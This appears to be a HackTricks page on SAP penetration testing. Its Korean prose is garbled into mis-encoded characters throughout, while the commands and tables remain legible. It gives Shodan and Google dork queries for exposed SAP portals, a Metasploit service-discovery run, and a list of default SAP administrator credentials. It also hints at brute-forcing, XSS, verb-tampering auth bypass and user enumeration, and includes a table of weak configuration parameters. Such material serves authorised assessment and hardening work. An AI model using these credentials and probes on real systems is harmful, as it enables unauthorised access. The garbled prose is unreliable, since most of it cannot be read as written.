Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

SAP์— ๋Œ€ํ•œ ์†Œ๊ฐœ

SAP๋Š” ๋ฐ์ดํ„ฐ ์ฒ˜๋ฆฌ์—์„œ ์‹œ์Šคํ…œ ์‘์šฉ ํ”„๋กœ๊ทธ๋žจ ๋ฐ ์ œํ’ˆ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค. ์ •์˜์ƒ SAP๋Š” ERP (Enterprise Resource Planning) ์†Œํ”„ํŠธ์›จ์–ด์˜ ์ด๋ฆ„์ด์ž ํšŒ์‚ฌ์˜ ์ด๋ฆ„์ž…๋‹ˆ๋‹ค. SAP ์‹œ์Šคํ…œ์€ ๋น„์ฆˆ๋‹ˆ์Šค ๊ด€๋ฆฌ์˜ ๊ฑฐ์˜ ๋ชจ๋“  ์ธก๋ฉด์„ ํฌ๊ด„ํ•˜๋Š” ์—ฌ๋Ÿฌ ๊ฐœ์˜ ์™„์ „ํžˆ ํ†ตํ•ฉ๋œ ๋ชจ๋“ˆ๋กœ ๊ตฌ์„ฑ๋ฉ๋‹ˆ๋‹ค.

๊ฐ SAP ์ธ์Šคํ„ด์Šค (๋˜๋Š” SID)๋Š” ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค, ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋ฐ ํ”„๋ ˆ์  ํ…Œ์ด์…˜์˜ ์„ธ ๊ฐ€์ง€ ๊ณ„์ธต์œผ๋กœ ๊ตฌ์„ฑ๋˜๋ฉฐ, ๊ฐ ํ™˜๊ฒฝ์€ ์ผ๋ฐ˜์ ์œผ๋กœ ๋„ค ๊ฐœ์˜ ์ธ์Šคํ„ด์Šค: dev, test, QA ๋ฐ production์œผ๋กœ ๊ตฌ์„ฑ๋ฉ๋‹ˆ๋‹ค. ๊ฐ ๊ณ„์ธต์€ ์–ด๋А ์ •๋„๊นŒ์ง€๋Š” ์•…์šฉ๋  ์ˆ˜ ์žˆ์ง€๋งŒ, ๊ฐ€์žฅ ํฐ ํšจ๊ณผ๋Š” ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ฅผ ๊ณต๊ฒฉํ•จ์œผ๋กœ์จ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ฐ SAP ์ธ์Šคํ„ด์Šค๋Š” ํด๋ผ์ด์–ธํŠธ๋กœ ๋‚˜๋‰˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. ๊ฐ ํด๋ผ์ด์–ธํŠธ๋Š” ์‚ฌ์šฉ์ž SAP*๋ฅผ ๊ฐ€์ง€๊ณ  ์žˆ์œผ๋ฉฐ, ์ด๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ โ€œrootโ€œ์— ํ•ด๋‹นํ•ฉ๋‹ˆ๋‹ค. ์ดˆ๊ธฐ ์ƒ์„ฑ ์‹œ, ์ด ์‚ฌ์šฉ์ž SAP*๋Š” ๊ธฐ๋ณธ ๋น„๋ฐ€๋ฒˆํ˜ธ โ€œ060719992โ€œ๋ฅผ ๋ฐ›์Šต๋‹ˆ๋‹ค (์•„๋ž˜์— ๋” ๋งŽ์€ ๊ธฐ๋ณธ ๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค). ํ…Œ์ŠคํŠธ ๋˜๋Š” ๊ฐœ๋ฐœ ํ™˜๊ฒฝ์—์„œ ์ด๋Ÿฌํ•œ ๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ ์–ผ๋งˆ๋‚˜ ์ž์ฃผ ๋ณ€๊ฒฝ๋˜์ง€ ์•Š๋Š”์ง€ ์•Œ๋ฉด ๋†€๋ž„ ๊ฒƒ์ž…๋‹ˆ๋‹ค!

์‚ฌ์šฉ์ž ์ด๋ฆ„ <SID>adm์„ ์‚ฌ์šฉํ•˜์—ฌ ์„œ๋ฒ„์˜ ์…ธ์— ์ ‘๊ทผํ•ด ๋ณด์‹ญ์‹œ์˜ค. ๋ธŒ๋ฃจํŠธํฌ์‹ฑ์ด ๋„์›€์ด ๋  ์ˆ˜ ์žˆ์ง€๋งŒ, ๊ณ„์ • ์ž ๊ธˆ ๋ฉ”์ปค๋‹ˆ์ฆ˜์ด ์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋ฐœ๊ฒฌ

๋‹ค์Œ ์„น์…˜์€ ์ฃผ๋กœ https://github.com/shipcod3/mySapAdventures์—์„œ ์‚ฌ์šฉ์ž shipcod3์˜ ๋‚ด์šฉ์ž…๋‹ˆ๋‹ค!

  • ํ…Œ์ŠคํŠธ๋ฅผ ์œ„ํ•œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋ฒ”์œ„ ๋˜๋Š” ํ”„๋กœ๊ทธ๋žจ ๊ฐœ์š”๋ฅผ ํ™•์ธํ•˜์‹ญ์‹œ์˜ค. SAP GUI์— ์—ฐ๊ฒฐํ•˜๊ธฐ ์œ„ํ•œ ํ˜ธ์ŠคํŠธ ์ด๋ฆ„ ๋˜๋Š” ์‹œ์Šคํ…œ ์ธ์Šคํ„ด์Šค๋ฅผ ๊ธฐ๋กํ•ด ๋‘์‹ญ์‹œ์˜ค.
  • OSINT (open source intelligence), Shodan ๋ฐ Google Dorks๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์ธํ„ฐ๋„ท์— ๋…ธ์ถœ๋˜๊ฑฐ๋‚˜ ๊ณต๊ฐœ๋œ ๊ฒฝ์šฐ ํŒŒ์ผ, ์„œ๋ธŒ๋„๋ฉ”์ธ ๋ฐ ์œ ์šฉํ•œ ์ •๋ณด๋ฅผ ํ™•์ธํ•˜์‹ญ์‹œ์˜ค:
inurl:50000/irj/portal
inurl:IciEventService/IciEventConf
inurl:/wsnavigator/jsps/test.jsp
inurl:/irj/go/km/docs/
https://www.shodan.io/search?query=sap+portal
https://www.shodan.io/search?query=SAP+Netweaver
https://www.shodan.io/search?query=SAP+J2EE+Engine

SAP ๋กœ๊ทธ์ธ ํ™”๋ฉด

  • nmap์„ ์‚ฌ์šฉํ•˜์—ฌ ์—ด๋ฆฐ ํฌํŠธ์™€ ์•Œ๋ ค์ง„ ์„œ๋น„์Šค(sap ๋ผ์šฐํ„ฐ, webdnypro, ์›น ์„œ๋น„์Šค, ์›น ์„œ๋ฒ„ ๋“ฑ)๋ฅผ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค.
  • ์›น ์„œ๋ฒ„๊ฐ€ ์‹คํ–‰ ์ค‘์ธ ๊ฒฝ์šฐ URL์„ ํฌ๋กค๋งํ•ฉ๋‹ˆ๋‹ค.
  • ํŠน์ • ํฌํŠธ์— ์›น ์„œ๋ฒ„๊ฐ€ ์žˆ๋Š” ๊ฒฝ์šฐ ๋””๋ ‰ํ† ๋ฆฌ๋ฅผ ํผ์ง•ํ•ฉ๋‹ˆ๋‹ค(๋ฒ„ํ”„ ์ธํŠธ๋ฃจ๋”๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค). ๊ธฐ๋ณธ SAP ICM ๊ฒฝ๋กœ ๋ฐ ๊ธฐํƒ€ ํฅ๋ฏธ๋กœ์šด ๋””๋ ‰ํ† ๋ฆฌ๋‚˜ ํŒŒ์ผ์„ ์ฐพ๊ธฐ ์œ„ํ•ด SecLists ํ”„๋กœ์ ํŠธ์—์„œ ์ œ๊ณตํ•˜๋Š” ๋ช‡ ๊ฐ€์ง€ ์ข‹์€ ์›Œ๋“œ๋ฆฌ์ŠคํŠธ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls_SAP.txt
https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt
https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt

  • SAP ์ธ์Šคํ„ด์Šค/์„œ๋น„์Šค/๊ตฌ์„ฑ ์š”์†Œ๋ฅผ ์—ด๊ฑฐํ•˜๊ธฐ ์œ„ํ•ด SAP SERVICE DISCOVERY ๋ณด์กฐ Metasploit ๋ชจ๋“ˆ์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค:
msf > use auxiliary/scanner/sap/sap_service_discovery
msf auxiliary(sap_service_discovery) > show options
Module options (auxiliary/scanner/sap/sap_service_discovery):
Name         Current Setting  Required  Description
----         ---------------  --------  -----------
CONCURRENCY  10               yes       The number of concurrent ports to check per host
INSTANCES    00-01            yes       Instance numbers to scan (e.g. 00-05,00-99)
RHOSTS                        yes       The target address range or CIDR identifier
THREADS      1                yes       The number of concurrent threads
TIMEOUT      1000             yes       The socket connect timeout in milliseconds
msf auxiliary(sap_service_discovery) > set rhosts 192.168.96.101
rhosts => 192.168.96.101
msf auxiliary(sap_service_discovery) > run
[*] 192.168.96.101:       - [SAP] Beginning service Discovery '192.168.96.101'

๋‘๊บผ์šด ํด๋ผ์ด์–ธํŠธ / SAP GUI ํ…Œ์ŠคํŠธ

SAP GUI์— ์—ฐ๊ฒฐํ•˜๋Š” ๋ช…๋ น์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค. sapgui <sap server hostname> <system number>

  • ๊ธฐ๋ณธ ์ž๊ฒฉ ์ฆ๋ช… ํ™•์ธ (Bugcrowd์˜ ์ทจ์•ฝ์  ํ‰๊ฐ€ ๋ถ„๋ฅ˜์—์„œ, ์ด๋Š” P1 -> ์„œ๋ฒ„ ๋ณด์•ˆ ์ž˜๋ชป ๊ตฌ์„ฑ | ๊ธฐ๋ณธ ์ž๊ฒฉ ์ฆ๋ช… ์‚ฌ์šฉ | ํ”„๋กœ๋•์…˜ ์„œ๋ฒ„)์œผ๋กœ ๊ฐ„์ฃผ๋ฉ๋‹ˆ๋‹ค:
# SAP* - High privileges - Hardcoded kernel user
SAP*:06071992:*
SAP*:PASS:*
# IDEADM - High Privileges - Only in IDES systems
IDEADM:admin:*
# DDIC - High privileges - User has SAP_ALL
DDIC:19920706:000,001
# EARLYWATCH - High privileges
EARLYWATCH:SUPPORT:066
# TMSADM - Medium privileges
TMSADM:PASSWORD:000
TMSADM:$1Pawd2&:000
# SAPCPIC - Medium privileges
SAPCPIC:ADMIN:000,001
# SOLMAN dialog default users and passwords.
# For more info check:
# https://www.troopers.de/media/filer_public/37/34/3734ebb3-989c-4750-9d48-ea478674991a/an_easy_way_into_your_sap_systems_v30.pdf
# https://launchpad.support.sap.com/#/notes/2293011
# SOLMAN_ADMIN - High privileges - Only on SOLMAN systems
SOLMAN_ADMIN:init1234:*
# SAPSUPPORT - High privileges - Only on SOLMAN or satellite systems
SAPSUPPORT:init1234:*
# SOLMAN<SID><CLNT> - High privileges - Only on SOLMAN systems
#SOLMAN<SID><CLNT>:init1234:*
# Trial systems
# -------------
# AS ABAP 7.40 SP08 Developer Edition:
# https://blogs.sap.com/2015/10/14/sap-netweaver-as-abap-740-sp8-developer-edition-to-download-consise-installation-instruction/
DDIC:DidNPLpw2014:001
SAP*:DidNPLpw2014:001
DEVELOPER:abCd1234:001
BWDEVELOPER:abCd1234:001
# AS ABAP 7.50 SP02 Developer Edition:
# https://blogs.sap.com/2016/11/03/sap-nw-as-abap-7.50-sp2-developer-edition-to-download-consise-installation-guide/
# AS ABAP 7.51 SP02 Developer Edition:
# https://blogs.sap.com/2017/09/04/sap-as-abap-7.51-sp2-developer-edition-to-download-concise-installation-guide/
DDIC:Appl1ance:000,001
SAP*:Appl1ance:000,001
DEVELOPER:Appl1ance:001
BWDEVELOPER:Appl1ance:001
# AS ABAP 7.51 SP01 Developer Edition:
# https://blogs.sap.com/2018/09/13/as-abap-7.52-sp01-developer-edition-concise-installation-guide/
# AS ABAP 7.52 SP04 Developer Edition:
# https://blogs.sap.com/2019/10/01/as-abap-7.52-sp04-developer-edition-concise-installation-guide/
DDIC:Down1oad:000,001
SAP*:Down1oad:000,001
DEVELOPER:Down1oad:001
BWDEVELOPER:Down1oad:001
  • Wireshark๋ฅผ ์‹คํ–‰ํ•œ ํ›„, SSL ์—†์ด ์ž๊ฒฉ ์ฆ๋ช…์„ ์ „์†กํ•˜๋Š” ํด๋ผ์ด์–ธํŠธ (SAP GUI)์— ์ž๊ฒฉ ์ฆ๋ช…์„ ์‚ฌ์šฉํ•˜์—ฌ ์ธ์ฆํ•ฉ๋‹ˆ๋‹ค. SAP DIAG ํ”„๋กœํ† ์ฝœ์—์„œ ์‚ฌ์šฉ๋˜๋Š” ์ฃผ์š” ํ—ค๋”๋ฅผ ๋ถ„ํ•ดํ•  ์ˆ˜ ์žˆ๋Š” ๋‘ ๊ฐ€์ง€ ์•Œ๋ ค์ง„ Wireshark ํ”Œ๋Ÿฌ๊ทธ์ธ์ด ์žˆ์Šต๋‹ˆ๋‹ค: SecureAuth Labs SAP ๋ถ„ํ•ด ํ”Œ๋Ÿฌ๊ทธ์ธ๊ณผ Positive Research Center์˜ SAP DIAG ํ”Œ๋Ÿฌ๊ทธ์ธ์ž…๋‹ˆ๋‹ค.
  • ๋‚ฎ์€ ๊ถŒํ•œ ์‚ฌ์šฉ์ž๋ฅผ ์œ„ํ•œ ์ผ๋ถ€ SAP ํŠธ๋žœ์žญ์…˜ ์ฝ”๋“œ (tcodes)๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๊ถŒํ•œ ์ƒ์Šน์„ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค:
  • SU01 - ์‚ฌ์šฉ์ž ์ƒ์„ฑ ๋ฐ ์œ ์ง€ ๊ด€๋ฆฌ
  • SU01D - ์‚ฌ์šฉ์ž ํ‘œ์‹œ
  • SU10 - ๋Œ€๋Ÿ‰ ์œ ์ง€ ๊ด€๋ฆฌ
  • SU02 - ํ”„๋กœํ•„ ์ˆ˜๋™ ์ƒ์„ฑ
  • SM19 - ๋ณด์•ˆ ๊ฐ์‚ฌ - ๊ตฌ์„ฑ
  • SE84 - SAP R/3 ๊ถŒํ•œ์„ ์œ„ํ•œ ์ •๋ณด ์‹œ์Šคํ…œ
  • ํด๋ผ์ด์–ธํŠธ์—์„œ ์‹œ์Šคํ…œ ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๊ฑฐ๋‚˜ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค.
  • BAPI Explorer์—์„œ XSS๋ฅผ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค.

์›น ์ธํ„ฐํŽ˜์ด์Šค ํ…Œ์ŠคํŠธ

  • URL์„ ํฌ๋กค๋งํ•ฉ๋‹ˆ๋‹ค (๋ฐœ๊ฒฌ ๋‹จ๊ณ„ ์ฐธ์กฐ).
  • ๋ฐœ๊ฒฌ ๋‹จ๊ณ„์ฒ˜๋Ÿผ URL์„ ํผ์ง•ํ•ฉ๋‹ˆ๋‹ค. http://SAP:50000/index.html์˜ ๋ชจ์Šต์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

SAP Index Page

  • ์ผ๋ฐ˜์ ์ธ ์›น ์ทจ์•ฝ์  (OWASP Top 10 ์ฐธ์กฐ)์„ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค. ์ผ๋ถ€ ์žฅ์†Œ์—๋Š” XSS, RCE, XXE ๋“ฑ์˜ ์ทจ์•ฝ์ ์ด ์žˆ์Šต๋‹ˆ๋‹ค.
  • ์›น ์ทจ์•ฝ์  ํ…Œ์ŠคํŠธ๋ฅผ ์œ„ํ•ด Jason Haddix์˜ โ€œThe Bug Hunters Methodologyโ€๋ฅผ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค.
  • ๋™์‚ฌ ๋ณ€์กฐ๋ฅผ ํ†ตํ•œ ์ธ์ฆ ์šฐํšŒ? ์•„๋งˆ๋„ :)
  • http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#๋ฅผ ์—ด๊ณ  โ€œChooseโ€ ๋ฒ„ํŠผ์„ ํด๋ฆญํ•œ ํ›„ ์—ด๋ฆฐ ์ฐฝ์—์„œ โ€œSearchโ€๋ฅผ ๋ˆ„๋ฆ…๋‹ˆ๋‹ค. SAP ์‚ฌ์šฉ์ž ๋ชฉ๋ก์„ ๋ณผ ์ˆ˜ ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค (์ทจ์•ฝ์  ์ฐธ์กฐ: ERPSCAN-16-010)
  • ์ž๊ฒฉ ์ฆ๋ช…์ด HTTP๋ฅผ ํ†ตํ•ด ์ œ์ถœ๋˜์—ˆ๋‚˜์š”? ๊ทธ๋ ‡๋‹ค๋ฉด Bugcrowd์˜ Vulnerability Rating Taxonomy์— ๋”ฐ๋ผ P3๋กœ ๊ฐ„์ฃผ๋ฉ๋‹ˆ๋‹ค: ์†์ƒ๋œ ์ธ์ฆ ๋ฐ ์„ธ์…˜ ๊ด€๋ฆฌ | HTTP๋ฅผ ํ†ตํ•œ ์•ฝํ•œ ๋กœ๊ทธ์ธ ๊ธฐ๋Šฅ. ํžŒํŠธ: http://SAP:50000/startPage ๋˜๋Š” ๋กœ๊ทธ์ธ ํฌํ„ธ๋„ ํ™•์ธํ•ด ๋ณด์„ธ์š” :)

SAP Start Page

  • ๊ฐ€๋Šฅํ•œ ๋””๋ ‰ํ† ๋ฆฌ ๋ชฉ๋ก ๋˜๋Š” ์ธ์ฆ ์šฐํšŒ๋ฅผ ์œ„ํ•ด /irj/go/km/navigation/๋ฅผ ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค.
  • http://SAP/sap/public/info์—๋Š” ์œ ์šฉํ•œ ์ •๋ณด๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค:
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
<SOAP-ENV:Body>
<rfc:RFC_SYSTEM_INFO.Response xmlns:rfc="urn:sap-com:document:sap:rfc:functions">
<RFCSI>
<RFCPROTO>011</RFCPROTO>
<RFCCHARTYP>4102</RFCCHARTYP>
<RFCINTTYP>BIG</RFCINTTYP>
<RFCFLOTYP>IE3</RFCFLOTYP>
<RFCDEST>randomnum</RFCDEST>
<RFCHOST>randomnum</RFCHOST>
<RFCSYSID>BRQ</RFCSYSID>
<RFCDATABS>BRQ</RFCDATABS>
<RFCDBHOST>randomnum</RFCDBHOST>
<RFCDBSYS>ORACLE</RFCDBSYS>
<RFCSAPRL>740</RFCSAPRL>
<RFCMACH>324</RFCMACH>
<RFCOPSYS>AIX</RFCOPSYS>
<RFCTZONE>-25200</RFCTZONE>
<RFCDAYST/>
<RFCIPADDR>192.168.1.8</RFCIPADDR>
<RFCKERNRL>749</RFCKERNRL>
<RFCHOST2>randomnum</RFCHOST2>
<RFCSI_RESV/>
<RFCIPV6ADDR>192.168.1.8</RFCIPV6ADDR>
</RFCSI>
</rfc:RFC_SYSTEM_INFO.Response>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

๊ตฌ์„ฑ ๋งค๊ฐœ๋ณ€์ˆ˜

ํŽœํ…Œ์ŠคํŠธ ์ค‘์— ์˜ฌ๋ฐ”๋ฅธ ๋กœ๊ทธ์ธ ์„ธ๋ถ€์ •๋ณด๊ฐ€ ์žˆ๊ฑฐ๋‚˜ ๊ธฐ๋ณธ ์ž๊ฒฉ ์ฆ๋ช…์„ ์‚ฌ์šฉํ•˜์—ฌ SAP GUI์— ๋กœ๊ทธ์ธํ•œ ๊ฒฝ์šฐ ๋งค๊ฐœ๋ณ€์ˆ˜ ๊ฐ’์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋งŽ์€ ๊ธฐ๋ณธ ๋ฐ ์‚ฌ์šฉ์ž ์ •์˜ ๊ตฌ์„ฑ ๋งค๊ฐœ๋ณ€์ˆ˜ ๊ฐ’์€ ์ทจ์•ฝ์ ์œผ๋กœ ๊ฐ„์ฃผ๋ฉ๋‹ˆ๋‹ค.

๋งค๊ฐœ๋ณ€์ˆ˜ ๊ฐ’์€ ์ˆ˜๋™ ๋ฐ ์ž๋™์œผ๋กœ ํ™•์ธํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (์˜ˆ: SAP Parameter Validator).

์ˆ˜๋™ ๋งค๊ฐœ๋ณ€์ˆ˜ ํ™•์ธ

ํŠธ๋žœ์žญ์…˜ ์ฝ”๋“œ RSPFPAR๋กœ ์ด๋™ํ•˜์—ฌ ๋‹ค์–‘ํ•œ ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ์ฟผ๋ฆฌํ•˜๊ณ  ํ•ด๋‹น ๊ฐ’์„ ์กฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์•„๋ž˜ ํ‘œ์—๋Š” ์ •์˜๋œ ๋งค๊ฐœ๋ณ€์ˆ˜์™€ ๊ตฌ๋ถ„๋˜๋Š” ์กฐ๊ฑด์ด ํฌํ•จ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.

์˜ˆ๋ฅผ ๋“ค์–ด, gw/reg_no_conn_info๊ฐ€ 255 ๋ฏธ๋งŒ(<255)์œผ๋กœ ์„ค์ •๋œ ๊ฒฝ์šฐ ์œ„ํ˜‘์œผ๋กœ ๊ฐ„์ฃผํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๋งˆ์ฐฌ๊ฐ€์ง€๋กœ, icm/security_log๊ฐ€ 2(2)์™€ ๊ฐ™์œผ๋ฉด ๊ฐ€๋Šฅํ•œ ์œ„ํ˜‘์ด ๋ฉ๋‹ˆ๋‹ค.

๋งค๊ฐœ๋ณ€์ˆ˜์ œ์•ฝ ์กฐ๊ฑด์„ค๋ช…
auth/object_disabling_activeY๊ฐ์ฒด ๋น„ํ™œ์„ฑํ™”๊ฐ€ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ๋Š”์ง€ ์—ฌ๋ถ€๋ฅผ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค.
auth/rfc_authority_check<2RFC์— ๋Œ€ํ•œ ๊ถŒํ•œ ๊ฒ€์‚ฌ ์ˆ˜์ค€์„ ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค.
auth/no_check_in_some_casesY์ผ๋ถ€ ๊ฒฝ์šฐ์— ๊ฒ€์‚ฌ๊ฐ€ ์šฐํšŒ๋˜๋Š”์ง€ ์—ฌ๋ถ€๋ฅผ ์ง€์ •ํ•ฉ๋‹ˆ๋‹ค.
bdc/bdel_auth_checkFALSEBDC์—์„œ ๊ถŒํ•œ ๊ฒ€์‚ฌ๊ฐ€ ์‹œํ–‰๋˜๋Š”์ง€ ์—ฌ๋ถ€๋ฅผ ๊ฒฐ์ •ํ•ฉ๋‹ˆ๋‹ค.
gw/reg_no_conn_info<255๋“ฑ๋ก ๋ฒˆํ˜ธ ์—ฐ๊ฒฐ ์ •๋ณด์˜ ๋ฌธ์ž ์ˆ˜๋ฅผ ์ œํ•œํ•ฉ๋‹ˆ๋‹ค.
icm/security_log2ICM(์ธํ„ฐ๋„ท ํ†ต์‹  ๊ด€๋ฆฌ์ž)์˜ ๋ณด์•ˆ ๋กœ๊ทธ ์ˆ˜์ค€์„ ์ •์˜ํ•ฉ๋‹ˆ๋‹ค.
icm/server_port_0DisplayICM์˜ ์„œ๋ฒ„ ํฌํŠธ(ํฌํŠธ 0)๋ฅผ ์ง€์ •ํ•ฉ๋‹ˆ๋‹ค.
icm/server_port_1DisplayICM์˜ ์„œ๋ฒ„ ํฌํŠธ(ํฌํŠธ 1)๋ฅผ ์ง€์ •ํ•ฉ๋‹ˆ๋‹ค.
icm/server_port_2DisplayICM์˜ ์„œ๋ฒ„ ํฌํŠธ(ํฌํŠธ 2)๋ฅผ ์ง€์ •ํ•ฉ๋‹ˆ๋‹ค.
login/password_compliance_to_current_policy0ํ˜„์žฌ ์ •์ฑ…์— ๋Œ€ํ•œ ๋น„๋ฐ€๋ฒˆํ˜ธ ์ค€์ˆ˜๋ฅผ ์‹œํ–‰ํ•ฉ๋‹ˆ๋‹ค.
login/no_automatic_user_sapstar0์ž๋™ ์‚ฌ์šฉ์ž SAPSTAR ํ• ๋‹น์„ ๋น„ํ™œ์„ฑํ™”ํ•ฉ๋‹ˆ๋‹ค.
login/min_password_specials0๋น„๋ฐ€๋ฒˆํ˜ธ์— ํ•„์š”ํ•œ ์ตœ์†Œ ํŠน์ˆ˜ ๋ฌธ์ž ์ˆ˜์ž…๋‹ˆ๋‹ค.
login/min_password_lng<8๋น„๋ฐ€๋ฒˆํ˜ธ์— ํ•„์š”ํ•œ ์ตœ์†Œ ๊ธธ์ด์ž…๋‹ˆ๋‹ค.
login/min_password_lowercase0๋น„๋ฐ€๋ฒˆํ˜ธ์— ํ•„์š”ํ•œ ์ตœ์†Œ ์†Œ๋ฌธ์ž ์ˆ˜์ž…๋‹ˆ๋‹ค.
login/min_password_uppercase0๋น„๋ฐ€๋ฒˆํ˜ธ์— ํ•„์š”ํ•œ ์ตœ์†Œ ๋Œ€๋ฌธ์ž ์ˆ˜์ž…๋‹ˆ๋‹ค.
login/min_password_digits0๋น„๋ฐ€๋ฒˆํ˜ธ์— ํ•„์š”ํ•œ ์ตœ์†Œ ์ˆซ์ž ์ˆ˜์ž…๋‹ˆ๋‹ค.
login/min_password_letters1๋น„๋ฐ€๋ฒˆํ˜ธ์— ํ•„์š”ํ•œ ์ตœ์†Œ ๋ฌธ์ž ์ˆ˜์ž…๋‹ˆ๋‹ค.
login/fails_to_user_lock<5์‚ฌ์šฉ์ž ๊ณ„์ •์„ ์ž ๊ทธ๊ธฐ ์ „์˜ ์‹คํŒจํ•œ ๋กœ๊ทธ์ธ ์‹œ๋„ ํšŸ์ˆ˜์ž…๋‹ˆ๋‹ค.
login/password_expiration_time>90๋น„๋ฐ€๋ฒˆํ˜ธ ๋งŒ๋ฃŒ ์‹œ๊ฐ„(์ผ)์ž…๋‹ˆ๋‹ค.
login/password_max_idle_initial<14๋น„๋ฐ€๋ฒˆํ˜ธ ์žฌ์ž…๋ ฅ์ด ํ•„์š”ํ•˜๊ธฐ ์ „์˜ ์ตœ๋Œ€ ์œ ํœด ์‹œ๊ฐ„(๋ถ„)์ž…๋‹ˆ๋‹ค(์ดˆ๊ธฐ).
login/password_max_idle_productive<180๋น„๋ฐ€๋ฒˆํ˜ธ ์žฌ์ž…๋ ฅ์ด ํ•„์š”ํ•˜๊ธฐ ์ „์˜ ์ตœ๋Œ€ ์œ ํœด ์‹œ๊ฐ„(๋ถ„)์ž…๋‹ˆ๋‹ค(์ƒ์‚ฐ์ ).
login/password_downwards_compatibility0๋น„๋ฐ€๋ฒˆํ˜ธ์— ๋Œ€ํ•œ ํ•˜์œ„ ํ˜ธํ™˜์„ฑ์ด ํ™œ์„ฑํ™”๋˜์–ด ์žˆ๋Š”์ง€ ์—ฌ๋ถ€๋ฅผ ์ง€์ •ํ•ฉ๋‹ˆ๋‹ค.
rfc/reject_expired_passwd0RFC(์›๊ฒฉ ํ•จ์ˆ˜ ํ˜ธ์ถœ)์— ๋Œ€ํ•ด ๋งŒ๋ฃŒ๋œ ๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ ๊ฑฐ๋ถ€๋˜๋Š”์ง€ ์—ฌ๋ถ€๋ฅผ ๊ฒฐ์ •ํ•ฉ๋‹ˆ๋‹ค.
rsau/enable0RS AU(๊ถŒํ•œ) ๊ฒ€์‚ฌ๋ฅผ ํ™œ์„ฑํ™”ํ•˜๊ฑฐ๋‚˜ ๋น„ํ™œ์„ฑํ™”ํ•ฉ๋‹ˆ๋‹ค.
rdisp/gui_auto_logout<5GUI ์„ธ์…˜์˜ ์ž๋™ ๋กœ๊ทธ์•„์›ƒ ์ „ ์‹œ๊ฐ„(๋ถ„)์„ ์ง€์ •ํ•ฉ๋‹ˆ๋‹ค.
service/protectedwebmethodsSDEFAULT๋ณดํ˜ธ๋œ ์›น ๋ฉ”์„œ๋“œ์— ๋Œ€ํ•œ ๊ธฐ๋ณธ ์„ค์ •์„ ์ง€์ •ํ•ฉ๋‹ˆ๋‹ค.
snc/enable0๋ณด์•ˆ ๋„คํŠธ์›Œํฌ ํ†ต์‹ (SNC)์„ ํ™œ์„ฑํ™”ํ•˜๊ฑฐ๋‚˜ ๋น„ํ™œ์„ฑํ™”ํ•ฉ๋‹ˆ๋‹ค.
